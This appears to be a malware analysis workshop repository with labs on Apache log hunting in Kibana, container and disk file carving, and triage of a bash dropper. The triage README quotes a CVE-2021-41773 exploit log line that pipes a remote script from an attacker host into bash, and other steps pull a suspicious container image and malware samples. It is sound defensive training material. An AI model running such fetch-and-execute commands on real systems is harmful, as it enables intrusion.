├── .gitignore ├── .imgs └── logo.png ├── 00_Setup ├── README.md └── Vagrantfile ├── 01_Log_Analysis ├── .env ├── .gitkeep ├── .imgs │ ├── 00-elk-login.png │ ├── 01-upload-a-file.png │ ├── 02-import-stats.png │ ├── 03-import-data.png │ ├── 04-view-data.png │ ├── 05-view-range-of-data.png │ └── 06-filter-on-specific-values.png ├── README.md ├── access.log └── docker-compose.yml ├── 02_File_Carving ├── .gitkeep └── README.md ├── 03_Binary_Triage ├── .gitkeep ├── .imgs │ └── process_to_filter.png ├── README.md └── malware.zip ├── 04_Network_Analysis ├── .gitkeep ├── README.md └── c2-capture.pcapng ├── LICENSE └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | .idea 3 | *.log 4 | tmp/ 5 | .vagrant.d/ 6 | *.vagrant/ 7 | -------------------------------------------------------------------------------- /.imgs/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archcloudlabs/BSidesRoc2022_Linux_Malware_Analysis_Course/509791cc4a6e687a7520de0d359dec980b4a0966/.imgs/logo.png -------------------------------------------------------------------------------- /00_Setup/README.md: -------------------------------------------------------------------------------- 1 | ## Installing Vagrant & Setting Up Infrastructure 2 | For the lab, we'll use Vagrant and quickly setup our environment for analysis. 3 | [Vagrant](https://www.vagrantup.com/) is a utility for managing Virtual Machines. You can find the installer's for your Operating System [here](https://www.vagrantup.com/downloads). Vagrant makes it easy to create repeatable virtual machine environments, and we'll be using it for this course to provision a Ubuntu 20.10 Virtual Machine as our analysis machine. The particular box we're using is defined as ```config.vm.box``` . 4 | 5 | ```sh 6 | config.vm.box = "generic/ubuntu2010" 7 | ``` 8 | 9 | To mount this git project within the Virtual Machine, we'll leverage the ```config.vm.synced_folder``` directive. The code block below shows that we're mounting the git project (*one directory up from this file*) onto ```home/vagrant/bsides-roc-class``` path. This will make it easy for the course! 10 | 11 | ```sh 12 | config.vm.synced_folder "../", "/home/vagrant/bsides-roc-class" 13 | ``` 14 | 15 | In the code block below the "libvirt" vm provider is specified to spin up a Virtual Machine. If you're using Virtualbox, you should change this to, you guessed it "virtualbox". Vagrant supports numerous other providers which can be found in their official documentation [here](https://www.vagrantup.com/docs/providers). Below the provider statement we're allocating 4GB of RAM for our virtual machine and the provider to virtualbox. 16 | 17 | ```sh 18 | #config.vm.provider "libvirt" do |vb| 19 | config.vm.provider "virtualbox" do |vb| 20 | vb.memory = "4046" 21 | end 22 | ``` 23 | 24 | Currently, we're leveraging the "[shell](https://www.vagrantup.com/docs/provisioning/shell)" provisioner which simply executes the commands listed within the *shell* variables in the Virtual machine. Numerous providers exist to provision virtual machines (Ansible, Chef, etc...), but for the time being we'll just keep things simple. 25 | 26 | ```sh 27 | config.vm.provision "shell", inline: <<-SHELL 28 | apt-get update -y; 29 | apt-get install -y radare2 foremost scalpel vim; 30 | SHELL 31 | ``` 32 | 33 | ## Starting Vagrant! 34 | After making any modifications that you might have (provider/RAM/etc...), go forth and sping up your virtual machine! To start your VM, simply execute 35 | 36 | ``` sh 37 | vagrant up 38 | ``` 39 | 40 | If the Vagrant virutal machine "generic/ubuntu2004" has not been downloaded, it'll take a second to download prior to executing the provision commands. However, afterwards it'll execute much faster. To check on the status of your virtual machine, execute "vagrant status". You should see something like the code block below showing that it's successfully running. 41 | 42 | ``` sh 43 | 44 | ☁ 00_Setup [main] ⚡ vagrant status 45 | Current machine states: 46 | 47 | default running (libvirt) 48 | 49 | The Libvirt domain is running. To stop this machine, you can run 50 | `vagrant halt`. To destroy the machine, you can run `vagrant destroy`. 51 | ``` 52 | 53 | ## Accessing your virtual machine. 54 | We'll access the virtual machine via vagrant's built in-ssh command. 55 | Vagrant leverages a private key it stores in "~/.vagrant.d/insecure_private_key" to perform ssh based authentication. 56 | 57 | ``` sh 58 | vagrant ssh 59 | ``` 60 | 61 | If successful, you should find yourself with shell access to the vagrant machine and can now access the lab machine that will be used for the course. 62 | 63 | ``` 64 | ☁ 00_Setup [main] ⚡ vagrant ssh 65 | Last login: Tue Feb 15 23:56:12 2022 from 192.168.121.1 66 | vagrant@bsidesroc:~$ id 67 | uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant),4(adm),24(cdrom),30(dip),46(plugdev),111(lxd),117(lpadmin),118(sambashare) 68 | vagrant@bsidesroc:~$ 69 | ``` 70 | 71 | 72 | ## Destroying the Virtual Machine 73 | When you're done, you can "clean up" by deleting the virtual machine via: 74 | ```sh 75 | vagrant destroy 76 | ``` 77 | 78 | 79 | ## Troubleshooting 80 | If for whatever reason, the directory will not get mounted in your Virtual machine comment out the following line in the Vagrantfile. 81 | 82 | ``` sh 83 | #config.vm.synced_folder "../", "/home/vagrant/bsides-roc-class" 84 | ``` 85 | 86 | and execute this command from the ```00_Setup``` folder to recursively sync all files: 87 | 88 | ``` sh 89 | [user@your_host_machine]$ scp -r ../* vagrant@: 90 | ``` 91 | Credentials are vagrant/vagrant 92 | -------------------------------------------------------------------------------- /00_Setup/Vagrantfile: -------------------------------------------------------------------------------- 1 | # -*- mode: ruby -*- 2 | # vi: set ft=ruby : 3 | # 4 | # Note, default credentials are vagrant/vagrant 5 | 6 | Vagrant.configure("2") do |config| 7 | # The most common configuration options are documented and commented below. 8 | # For a complete reference, please see the online documentation at 9 | # https://docs.vagrantup.com. 10 | # Every Vagrant development environment requires a box. You can search for 11 | # boxes at https://vagrantcloud.com/search. 12 | config.vm.box = "generic/ubuntu2010" 13 | config.vm.network "forwarded_port", guest: 5601, host: 5601 14 | 15 | # Share an additional folder to the guest VM. The first argument is 16 | # the path on the host to the actual folder. The second argument is 17 | # the path on the guest to mount the folder. And the optional third 18 | # argument is a set of non-required options. 19 | #config.vm.synced_folder "../", "/home/vagrant/bsides-roc-class" 20 | 21 | # Provider-specific configuration so you can fine-tune various 22 | # backing providers for Vagrant. These expose provider-specific options. 23 | # Example for VirtualBox: 24 | config.vm.hostname = "bsidesroc" 25 | config.vm.provider "virtualbox" do |vb| 26 | #config.vm.provider "libvirt" do |vb| 27 | vb.memory = "4096" 28 | end 29 | # 30 | # View the documentation for the provider you are using for more 31 | # information on available options. 32 | 33 | # Enable provisioning with a shell script. Additional provisioners such as 34 | # Ansible, Chef, Docker, Puppet and Salt are also available. Please see the 35 | # documentation for more information about their specific syntax and use. 36 | #sudo tasksel install xubuntu-core; 37 | config.vm.provision "shell", inline: <<-SHELL 38 | sudo apt-get update -y && apt-get install -y radare2 foremost scalpel vim wget curl default-jdk unzip python3-pip awscli yara autoconf skopeo; 39 | curl -fSsl https://get.docker.com | bash; 40 | sudo usermod -aG docker vagrant; 41 | sudo pip3 install docker-compose; 42 | sudo echo 'vm.max_map_count=262144' >> /etc/sysctl.conf; 43 | sudo sysctl -p; 44 | wget https://github.com/wagoodman/dive/releases/download/v0.9.2/dive_0.9.2_linux_amd64.deb; 45 | sudo apt install ./dive_0.9.2_linux_amd64.deb; 46 | rm ./dive_0.9.2_linux_amd64.deb; 47 | git clone https://github.com/Yara-Rules/rules; 48 | cd rules; ./index_gen.sh; 49 | SHELL 50 | end 51 | -------------------------------------------------------------------------------- /01_Log_Analysis/.env: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | # Password for the 'elastic' user (at least 6 characters) 3 | ELASTIC_PASSWORD=bsidesroc 4 | 5 | # Password for the 'kibana_system' user (at least 6 characters) 6 | KIBANA_PASSWORD=bsidesroc 7 | 8 | # Version of Elastic products 9 | STACK_VERSION=8.1.0 10 | 11 | # Set the cluster name 12 | CLUSTER_NAME=docker-cluster 13 | 14 | # Set to 'basic' or 'trial' to automatically start the 30-day trial 15 | LICENSE=basic 16 | #LICENSE=trial 17 | 18 | # Port to expose Elasticsearch HTTP API to the host 19 | ES_PORT=9200 20 | #ES_PORT=127.0.0.1:9200 21 | 22 | # Port to expose Kibana to the host 23 | KIBANA_PORT=5601 24 | #KIBANA_PORT=80 25 | 26 | # Increase or decrease based on the available host memory (in bytes) 27 | MEM_LIMIT=1073741824 28 | -------------------------------------------------------------------------------- /01_Log_Analysis/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archcloudlabs/BSidesRoc2022_Linux_Malware_Analysis_Course/509791cc4a6e687a7520de0d359dec980b4a0966/01_Log_Analysis/.gitkeep -------------------------------------------------------------------------------- /01_Log_Analysis/.imgs/00-elk-login.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archcloudlabs/BSidesRoc2022_Linux_Malware_Analysis_Course/509791cc4a6e687a7520de0d359dec980b4a0966/01_Log_Analysis/.imgs/00-elk-login.png -------------------------------------------------------------------------------- /01_Log_Analysis/.imgs/01-upload-a-file.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archcloudlabs/BSidesRoc2022_Linux_Malware_Analysis_Course/509791cc4a6e687a7520de0d359dec980b4a0966/01_Log_Analysis/.imgs/01-upload-a-file.png -------------------------------------------------------------------------------- /01_Log_Analysis/.imgs/02-import-stats.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archcloudlabs/BSidesRoc2022_Linux_Malware_Analysis_Course/509791cc4a6e687a7520de0d359dec980b4a0966/01_Log_Analysis/.imgs/02-import-stats.png -------------------------------------------------------------------------------- /01_Log_Analysis/.imgs/03-import-data.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archcloudlabs/BSidesRoc2022_Linux_Malware_Analysis_Course/509791cc4a6e687a7520de0d359dec980b4a0966/01_Log_Analysis/.imgs/03-import-data.png -------------------------------------------------------------------------------- /01_Log_Analysis/.imgs/04-view-data.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archcloudlabs/BSidesRoc2022_Linux_Malware_Analysis_Course/509791cc4a6e687a7520de0d359dec980b4a0966/01_Log_Analysis/.imgs/04-view-data.png -------------------------------------------------------------------------------- /01_Log_Analysis/.imgs/05-view-range-of-data.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archcloudlabs/BSidesRoc2022_Linux_Malware_Analysis_Course/509791cc4a6e687a7520de0d359dec980b4a0966/01_Log_Analysis/.imgs/05-view-range-of-data.png -------------------------------------------------------------------------------- /01_Log_Analysis/.imgs/06-filter-on-specific-values.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archcloudlabs/BSidesRoc2022_Linux_Malware_Analysis_Course/509791cc4a6e687a7520de0d359dec980b4a0966/01_Log_Analysis/.imgs/06-filter-on-specific-values.png -------------------------------------------------------------------------------- /01_Log_Analysis/README.md: -------------------------------------------------------------------------------- 1 | ## A Needle in A Haystack 2 | 3 | The corresponding Apache log file in this directory has numerous entries, some of which are malicious. 4 | It's all too common to run across log files where you'll have to slice and dice a text file to parse out valuable data. 5 | Sometimes you'll have a nice SIEM to help you query said data, othertimes you'll have to manually parse through logs. 6 | For your first lab, you're tasked to write a script to do the following in the language of your choice: 7 | 8 | 1. Identify unique count of IPs in this file. 9 | 2. Parse out requested URIs with IPs. 10 | 3. Perform lookups against a 3rd party API for data enrichment. 11 | * Is there any historical threat intel? 12 | 4. Was there any exploit attempt that appeared to be succesful? 13 | 14 | 15 | ### Walkthrough Examples 16 |
17 |
Bash Example of Unique Count of IPs 18 | 19 | ```bash 20 | $> cat access.log | cut -f 1 -d ' ' | uniq -c 21 | ``` 22 |
23 | 24 |
Bash Example of unique requests associated w/ IPs 25 | 26 | ```bash 27 | $> cat access.log | cut -f 1,7,8,9,10 -d ' ' | uniq -c 28 | ``` 29 |
30 | 31 |
Bash Example of Querying API 32 | 33 | ```bash 34 | # Get unique IPs 35 | uniqueips=$(cat access.log | cut -f 1 -d ' ' | uniq -c | awk '{print $2}') # create a list of space separated IPs 36 | 37 | # query 38 | for ip in $uniquieips; do 39 | results=$(curl https://pulsedive.com/api/explore.php?q=$ip) 40 | score=$(echo $results | jq '.results|.[].risk') 41 | countrycode=$(echo $results | jq '.results|.[].summary.properties.geo.countrycode') 42 | echo -e "[$(date -Im)] $ip ($countrycode): $score" 43 | sleep 10; # be friendly to pulsedive they're awesome! 44 | done 45 | ``` 46 |
47 | 48 | 49 | ### Questions & Answers 50 | 1. What exploit was used in the suspicious log entry? 51 | 2. Was it successful? How do we know? 52 | 3. What other artifacts or information do we know about this exploit attempt? 53 | 54 |
Answers 55 | 56 | 1. [CVE-2021-41773](https://www.exploit-db.com/exploits/50383) 57 | 58 | 2. The resulting request returned a status of "200", indicating successful request made from the client. 59 | However, the command itself we *don't* know if it was successful. Let's leverage this as a thread to pull on and dive deeper. 60 | 61 | 3. Staging of files in broc2022 at irc.linux-mirrors.com 62 |
63 | 64 | 65 | ## Bonus Round: Hunting in A SIEM 66 | Elasticsearch is an Open Source NoSQL database that is commonly used in industry for log management. 67 | Commerical features support SIEM/Security functionality as well as observability and more. 68 | Kibana is the user interface that queries Elasticsearch for logs. In this scenario we'll setup an Elasticsearch 69 | cluster via docker-compose and upload some log files to begin analyzing the Apache log in a SIEM like environment. 70 | 71 | 72 | The docker-compose.yml in this directory was taken from the official Elasticsearch documentation and can be [found here](https://www.elastic.co/guide/en/elasticsearch/reference/current/docker.html). 73 | 74 | To start the Elasticsearch cluster, execute the following: 75 | ``` sh 76 | $> docker-compose up -d 77 | ``` 78 | 79 | The Vagrant file performs port forwarding from the host on 5601 to the guest on port 5601 the default Kibana port. 80 | Check that the containers are successfully up and running via ```docker ps```. If everything is up and running, you should be able to access the cluster. 81 | ``` 82 | vagrant@bsidesroc:~$ docker ps 83 | CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 84 | b02a4f434a7a docker.elastic.co/kibana/kibana:8.1.0 "/bin/tini -- /usr/l…" 19 minutes ago Up 19 minutes (healthy) 0.0.0.0:5601->5601/tcp 01_log_analysis_kibana_1 85 | fb91c3578d62 docker.elastic.co/elasticsearch/elasticsearch:8.1.0 "/bin/tini -- /usr/l…" 22 minutes ago Up 20 minutes (healthy) 9200/tcp, 9300/tcp 01_log_analysis_es03_1 86 | 01720278b636 docker.elastic.co/elasticsearch/elasticsearch:8.1.0 "/bin/tini -- /usr/l…" 22 minutes ago Up 20 minutes (healthy) 9200/tcp, 9300/tcp 01_log_analysis_es02_1 87 | 7cc1383a1461 docker.elastic.co/elasticsearch/elasticsearch:8.1.0 "/bin/tini -- /usr/l…" 22 minutes ago Up 20 minutes (healthy) 0.0.0.0:9200->9200/tcp, 9300/tcp 01_log_analysis_es01_1 88 | ``` 89 | 90 | The images below show the process of logging in and uploading the apache.log file in this directory. 91 | 92 | First login with the default credentials of elastic/bsidesroc. Note, the credentials are stored in a file in this directgory of ".env". The docker-compose.yml file leverages [.env](https://docs.docker.com/compose/environment-variables/) for filling out environment variables. 93 | 94 | ![elk-login](./.imgs/00-elk-login.png) 95 | 96 | Next, upload the access.log file. 97 | ![upload-a-file](./.imgs/01-upload-a-file.png) 98 | 99 | Elasticsearch is familiar with common log formats and will try to match underlying fields to their specific data type. 100 | For example, the field "client ip" is matched as [data type](https://www.elastic.co/guide/en/elasticsearch/reference/current/mapping-types.html) IP and not as a string. This gives us flexibility in the situation we were querying for a specific CIDR block. 101 | 102 | ![elk-login](./.imgs/02-import-stats.png) 103 | ![import-data](./.imgs/03-import-data.png) 104 | ![view-data](./.imgs/04-view-data.png) 105 | This course was ran in mid-March of 2022, the timestamps of the Apache access log reflect this. Update the time period appropriate to when your viewing the course. 106 | ![view-range-of-data](./.imgs/05-view-range-of-data.png) 107 | 108 | As we saw with manually parsing data, some URIs had wget/curl entries which appeared to be asscoiated with exploit attempts. Filtering on wget reveals some interesting requests. Is there anything that stands out that we should hunt for? 109 | 110 | ![filter](./.imgs/06-filter-on-specific-values.png) 111 | 112 | 113 | When you're done, shutdown the ELK instance. 114 | 115 | ```sh 116 | $> docker-compose down 117 | ``` 118 | 119 | -------------------------------------------------------------------------------- /01_Log_Analysis/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "2.2" 2 | 3 | services: 4 | setup: 5 | image: docker.elastic.co/elasticsearch/elasticsearch:${STACK_VERSION} 6 | volumes: 7 | - certs:/usr/share/elasticsearch/config/certs 8 | user: "0" 9 | command: > 10 | bash -c ' 11 | if [ x${ELASTIC_PASSWORD} == x ]; then 12 | echo "Set the ELASTIC_PASSWORD environment variable in the .env file"; 13 | exit 1; 14 | elif [ x${KIBANA_PASSWORD} == x ]; then 15 | echo "Set the KIBANA_PASSWORD environment variable in the .env file"; 16 | exit 1; 17 | fi; 18 | if [ ! -f certs/ca.zip ]; then 19 | echo "Creating CA"; 20 | bin/elasticsearch-certutil ca --silent --pem -out config/certs/ca.zip; 21 | unzip config/certs/ca.zip -d config/certs; 22 | fi; 23 | if [ ! -f certs/certs.zip ]; then 24 | echo "Creating certs"; 25 | echo -ne \ 26 | "instances:\n"\ 27 | " - name: es01\n"\ 28 | " dns:\n"\ 29 | " - es01\n"\ 30 | " - localhost\n"\ 31 | " ip:\n"\ 32 | " - 127.0.0.1\n"\ 33 | " - name: es02\n"\ 34 | " dns:\n"\ 35 | " - es02\n"\ 36 | " - localhost\n"\ 37 | " ip:\n"\ 38 | " - 127.0.0.1\n"\ 39 | " - name: es03\n"\ 40 | " dns:\n"\ 41 | " - es03\n"\ 42 | " - localhost\n"\ 43 | " ip:\n"\ 44 | " - 127.0.0.1\n"\ 45 | > config/certs/instances.yml; 46 | bin/elasticsearch-certutil cert --silent --pem -out config/certs/certs.zip --in config/certs/instances.yml --ca-cert config/certs/ca/ca.crt --ca-key config/certs/ca/ca.key; 47 | unzip config/certs/certs.zip -d config/certs; 48 | fi; 49 | echo "Setting file permissions" 50 | chown -R root:root config/certs; 51 | find . -type d -exec chmod 750 \{\} \;; 52 | find . -type f -exec chmod 640 \{\} \;; 53 | echo "Waiting for Elasticsearch availability"; 54 | until curl -s --cacert config/certs/ca/ca.crt https://es01:9200 | grep -q "missing authentication credentials"; do sleep 30; done; 55 | echo "Setting kibana_system password"; 56 | until curl -s -X POST --cacert config/certs/ca/ca.crt -u elastic:${ELASTIC_PASSWORD} -H "Content-Type: application/json" https://es01:9200/_security/user/kibana_system/_password -d "{\"password\":\"${KIBANA_PASSWORD}\"}" | grep -q "^{}"; do sleep 10; done; 57 | echo "All done!"; 58 | ' 59 | healthcheck: 60 | test: ["CMD-SHELL", "[ -f config/certs/es01/es01.crt ]"] 61 | interval: 1s 62 | timeout: 5s 63 | retries: 120 64 | 65 | es01: 66 | depends_on: 67 | setup: 68 | condition: service_healthy 69 | image: docker.elastic.co/elasticsearch/elasticsearch:${STACK_VERSION} 70 | volumes: 71 | - certs:/usr/share/elasticsearch/config/certs 72 | - esdata01:/usr/share/elasticsearch/data 73 | ports: 74 | - ${ES_PORT}:9200 75 | environment: 76 | - node.name=es01 77 | - cluster.name=${CLUSTER_NAME} 78 | - cluster.initial_master_nodes=es01,es02,es03 79 | - discovery.seed_hosts=es02,es03 80 | - ELASTIC_PASSWORD=${ELASTIC_PASSWORD} 81 | - bootstrap.memory_lock=true 82 | - xpack.security.enabled=true 83 | - xpack.security.http.ssl.enabled=true 84 | - xpack.security.http.ssl.key=certs/es01/es01.key 85 | - xpack.security.http.ssl.certificate=certs/es01/es01.crt 86 | - xpack.security.http.ssl.certificate_authorities=certs/ca/ca.crt 87 | - xpack.security.http.ssl.verification_mode=certificate 88 | - xpack.security.transport.ssl.enabled=true 89 | - xpack.security.transport.ssl.key=certs/es01/es01.key 90 | - xpack.security.transport.ssl.certificate=certs/es01/es01.crt 91 | - xpack.security.transport.ssl.certificate_authorities=certs/ca/ca.crt 92 | - xpack.security.transport.ssl.verification_mode=certificate 93 | - xpack.license.self_generated.type=${LICENSE} 94 | mem_limit: ${MEM_LIMIT} 95 | ulimits: 96 | memlock: 97 | soft: -1 98 | hard: -1 99 | healthcheck: 100 | test: 101 | [ 102 | "CMD-SHELL", 103 | "curl -s --cacert config/certs/ca/ca.crt https://localhost:9200 | grep -q 'missing authentication credentials'", 104 | ] 105 | interval: 10s 106 | timeout: 10s 107 | retries: 120 108 | 109 | es02: 110 | depends_on: 111 | - es01 112 | image: docker.elastic.co/elasticsearch/elasticsearch:${STACK_VERSION} 113 | volumes: 114 | - certs:/usr/share/elasticsearch/config/certs 115 | - esdata02:/usr/share/elasticsearch/data 116 | environment: 117 | - node.name=es02 118 | - cluster.name=${CLUSTER_NAME} 119 | - cluster.initial_master_nodes=es01,es02,es03 120 | - discovery.seed_hosts=es01,es03 121 | - bootstrap.memory_lock=true 122 | - xpack.security.enabled=true 123 | - xpack.security.http.ssl.enabled=true 124 | - xpack.security.http.ssl.key=certs/es02/es02.key 125 | - xpack.security.http.ssl.certificate=certs/es02/es02.crt 126 | - xpack.security.http.ssl.certificate_authorities=certs/ca/ca.crt 127 | - xpack.security.http.ssl.verification_mode=certificate 128 | - xpack.security.transport.ssl.enabled=true 129 | - xpack.security.transport.ssl.key=certs/es02/es02.key 130 | - xpack.security.transport.ssl.certificate=certs/es02/es02.crt 131 | - xpack.security.transport.ssl.certificate_authorities=certs/ca/ca.crt 132 | - xpack.security.transport.ssl.verification_mode=certificate 133 | - xpack.license.self_generated.type=${LICENSE} 134 | mem_limit: ${MEM_LIMIT} 135 | ulimits: 136 | memlock: 137 | soft: -1 138 | hard: -1 139 | healthcheck: 140 | test: 141 | [ 142 | "CMD-SHELL", 143 | "curl -s --cacert config/certs/ca/ca.crt https://localhost:9200 | grep -q 'missing authentication credentials'", 144 | ] 145 | interval: 10s 146 | timeout: 10s 147 | retries: 120 148 | 149 | es03: 150 | depends_on: 151 | - es02 152 | image: docker.elastic.co/elasticsearch/elasticsearch:${STACK_VERSION} 153 | volumes: 154 | - certs:/usr/share/elasticsearch/config/certs 155 | - esdata03:/usr/share/elasticsearch/data 156 | environment: 157 | - node.name=es03 158 | - cluster.name=${CLUSTER_NAME} 159 | - cluster.initial_master_nodes=es01,es02,es03 160 | - discovery.seed_hosts=es01,es02 161 | - bootstrap.memory_lock=true 162 | - xpack.security.enabled=true 163 | - xpack.security.http.ssl.enabled=true 164 | - xpack.security.http.ssl.key=certs/es03/es03.key 165 | - xpack.security.http.ssl.certificate=certs/es03/es03.crt 166 | - xpack.security.http.ssl.certificate_authorities=certs/ca/ca.crt 167 | - xpack.security.http.ssl.verification_mode=certificate 168 | - xpack.security.transport.ssl.enabled=true 169 | - xpack.security.transport.ssl.key=certs/es03/es03.key 170 | - xpack.security.transport.ssl.certificate=certs/es03/es03.crt 171 | - xpack.security.transport.ssl.certificate_authorities=certs/ca/ca.crt 172 | - xpack.security.transport.ssl.verification_mode=certificate 173 | - xpack.license.self_generated.type=${LICENSE} 174 | mem_limit: ${MEM_LIMIT} 175 | ulimits: 176 | memlock: 177 | soft: -1 178 | hard: -1 179 | healthcheck: 180 | test: 181 | [ 182 | "CMD-SHELL", 183 | "curl -s --cacert config/certs/ca/ca.crt https://localhost:9200 | grep -q 'missing authentication credentials'", 184 | ] 185 | interval: 10s 186 | timeout: 10s 187 | retries: 120 188 | 189 | kibana: 190 | depends_on: 191 | es01: 192 | condition: service_healthy 193 | es02: 194 | condition: service_healthy 195 | es03: 196 | condition: service_healthy 197 | image: docker.elastic.co/kibana/kibana:${STACK_VERSION} 198 | volumes: 199 | - certs:/usr/share/kibana/config/certs 200 | - kibanadata:/usr/share/kibana/data 201 | ports: 202 | - ${KIBANA_PORT}:5601 203 | environment: 204 | - SERVERNAME=kibana 205 | - ELASTICSEARCH_HOSTS=https://es01:9200 206 | - ELASTICSEARCH_USERNAME=kibana_system 207 | - ELASTICSEARCH_PASSWORD=${KIBANA_PASSWORD} 208 | - ELASTICSEARCH_SSL_CERTIFICATEAUTHORITIES=config/certs/ca/ca.crt 209 | mem_limit: ${MEM_LIMIT} 210 | healthcheck: 211 | test: 212 | [ 213 | "CMD-SHELL", 214 | "curl -s -I http://localhost:5601 | grep -q 'HTTP/1.1 302 Found'", 215 | ] 216 | interval: 10s 217 | timeout: 10s 218 | retries: 120 219 | 220 | volumes: 221 | certs: 222 | driver: local 223 | esdata01: 224 | driver: local 225 | esdata02: 226 | driver: local 227 | esdata03: 228 | driver: local 229 | kibanadata: 230 | driver: local 231 | -------------------------------------------------------------------------------- /02_File_Carving/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archcloudlabs/BSidesRoc2022_Linux_Malware_Analysis_Course/509791cc4a6e687a7520de0d359dec980b4a0966/02_File_Carving/.gitkeep -------------------------------------------------------------------------------- /02_File_Carving/README.md: -------------------------------------------------------------------------------- 1 | ## Carving Up Data - Containers 2 | A member of the DevOps team said they found a new container running in production that's not from their container registry. 3 | Can you take a look and see if you can find anything? 4 | 5 | * https://hub.docker.com/u/apt585 6 | 7 | First lets download the image 8 | ``` sh 9 | $> docker pull apt585/apache 10 | ``` 11 | 12 | Next, let's view the entrypoint or command that starts when the container is started 13 | 14 | 15 | ``` sh 16 | $> skopeo inspect --config docker://apt585/apache:latest 17 | ``` 18 | 19 | Then, open up the image with 20 | ``` sh 21 | $> dive apt585/apache 22 | ``` 23 | 24 | * When was this container created? 25 | * What packages were installed in this container? 26 | * What is the working directory for this container? 27 | * What is the command executed when this container starts? 28 | 29 | Are there any files that look interesting? Copy them out from the container and analyze them 30 | 31 | * [reference](https://docs-stage.docker.com/engine/reference/commandline/create/#extended-description ) 32 | ``` sh 33 | $> docker create -ti --name dummy IMAGE_NAME bash 34 | $> docker cp dummy:/path/to/file /dest/to/file 35 | $> docker rm -f dummy 36 | ``` 37 | 38 | ## Bonus Round 1 - Looking at Disks 39 | [Digital Corpora](https://digitalcorpora.org/) is a website that hosts disk images, memory dumps, network packet captures, etc... for forensics education work. 40 | To make this "course" repeatable in the future, I'm leveraging one of their files which is available via their public S3 bucket. The specific image we're using is from 41 | [DFRWS 2021 challenge](https://dfrws.org/forensic-challenges/) and more information can be found [here](https://dfrws.org/dfrws-2021-challenge/#part2). 42 | While the disks distributed are typically in [Encase](https://security.opentext.com/encase-forensic) format, for the purproses of carving out data, it will work for our usecase. 43 | To list files from the bucket within the vagrant machine 44 | 45 | ``` sh 46 | $> aws s3 ls s3://digitalcorpora/corpora/ --no-sign-request 47 | ``` 48 | 49 | Let's download the Raspberry Pi image due to it's size. 50 | ``` sh 51 | $> aws s3 cp s3://digitalcorpora/corpora/dfrws/challenge-2021/2_Raspberry_Pi_mSD.zip . --no-sign-request 52 | $> unzip 2_Raspberry_Pi_mSD.zip 53 | ``` 54 | 55 | Next, let's extract files 56 | 57 | ``` sh 58 | $> binwalk -e 2_Raspberry_pi_mSD. 59 | $> binwaE001_Carta_MicroSD_Stampante_3D.e01 60 | ``` 61 | 62 | *Note, in real world scenearios never operate on the REAL disk* 63 | 64 | Next, we'll manually mount the filesystem and hash all of the files within the file system structure and compare it to the extracted files 65 | and idenify deleted files. Change the appropriate file paths for the find command to match what you've mounted in your file system. 66 | 67 | ``` sh 68 | $> find /path/to/imaged/disk -type f -exec sha256sum {} +/ > extracted_files.txt; 69 | $> mkdir /tmp/tmpmount; 70 | $> mount disk.img /tmp/tmpmount; 71 | $> find /path/to/mounted/disk -type f -exec sha256sum {} +/ > mounted_files.txt; 72 | $> diff extracted_files.txt mounted_files.txt 73 | ``` 74 | 75 | * What files were recovered via extraction that are not present in the file system? 76 | * Leverage plaso to create a timeline of events that happened in this disk. 77 | 78 | 79 | ## Bonus Round-2: Sleuthkit & Autopsy 80 | Beyond the class room, obtain the latest version of [Autopsy](https://sleuthkit.org/autopsy/) and explore some of the Digitial Corpora/DFRWS Challenges. 81 | -------------------------------------------------------------------------------- /03_Binary_Triage/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archcloudlabs/BSidesRoc2022_Linux_Malware_Analysis_Course/509791cc4a6e687a7520de0d359dec980b4a0966/03_Binary_Triage/.gitkeep -------------------------------------------------------------------------------- /03_Binary_Triage/.imgs/process_to_filter.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archcloudlabs/BSidesRoc2022_Linux_Malware_Analysis_Course/509791cc4a6e687a7520de0d359dec980b4a0966/03_Binary_Triage/.imgs/process_to_filter.png -------------------------------------------------------------------------------- /03_Binary_Triage/README.md: -------------------------------------------------------------------------------- 1 | ## DISCLAIMER 2 | Real modified malware is in the malware.zip folder. It's password is "infected" 3 | 4 | ## Investigating The Bash Dropper 5 | Revisiting the odd entry we found in the 01_Log_Analysis section, a script was hosted at host "linux-mirrors.com/broc2022". 6 | Go and fetch that within the Vagrant environment for analysis. Consider in a real world situation, you'd never want to 7 | do this from a machine that is identifiable to you or your organization. Secure networking and safe malware detonation environments are key for malware analysis. 8 | 9 | ``` sh 10 | 147.182.251.241 - - [12/Mar/2022:23:43:15 +0000] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -c wget irc.linux-mirrors.com/broc2022/gplatepwn.sh | bash HTTP/1.1" 200 1889 "-" "python-requests/2.27.1" 11 | ``` 12 | 13 | Leveraging a text editor of your choice, analyze what the script does. 14 | 15 | * [ ] Are there additional payloads? 16 | * [ ] Are there any links to potential personas? 17 | * [ ] Are there host base indicators that you could build YARA rules for? 18 | 19 |
Answer: Additional payloads 20 | 21 | * Yes!, located at: linux-mirrors.com/abcedfgabcedfg/avatar.tar.gz 22 | Grab this file as it has more payloads we'll look at. 23 | 24 |
25 | 26 |
Answer: Additional potential personas 27 | 28 | * Yes!, the public keys are being obtained from github user "Henry Ettahots". 29 | 30 |
31 | 32 |
Answer: Host based IoCS 33 | 34 | * Yes!, the /tmp/.gplate directory appears to be a staging directory for APT585. 35 | 36 |
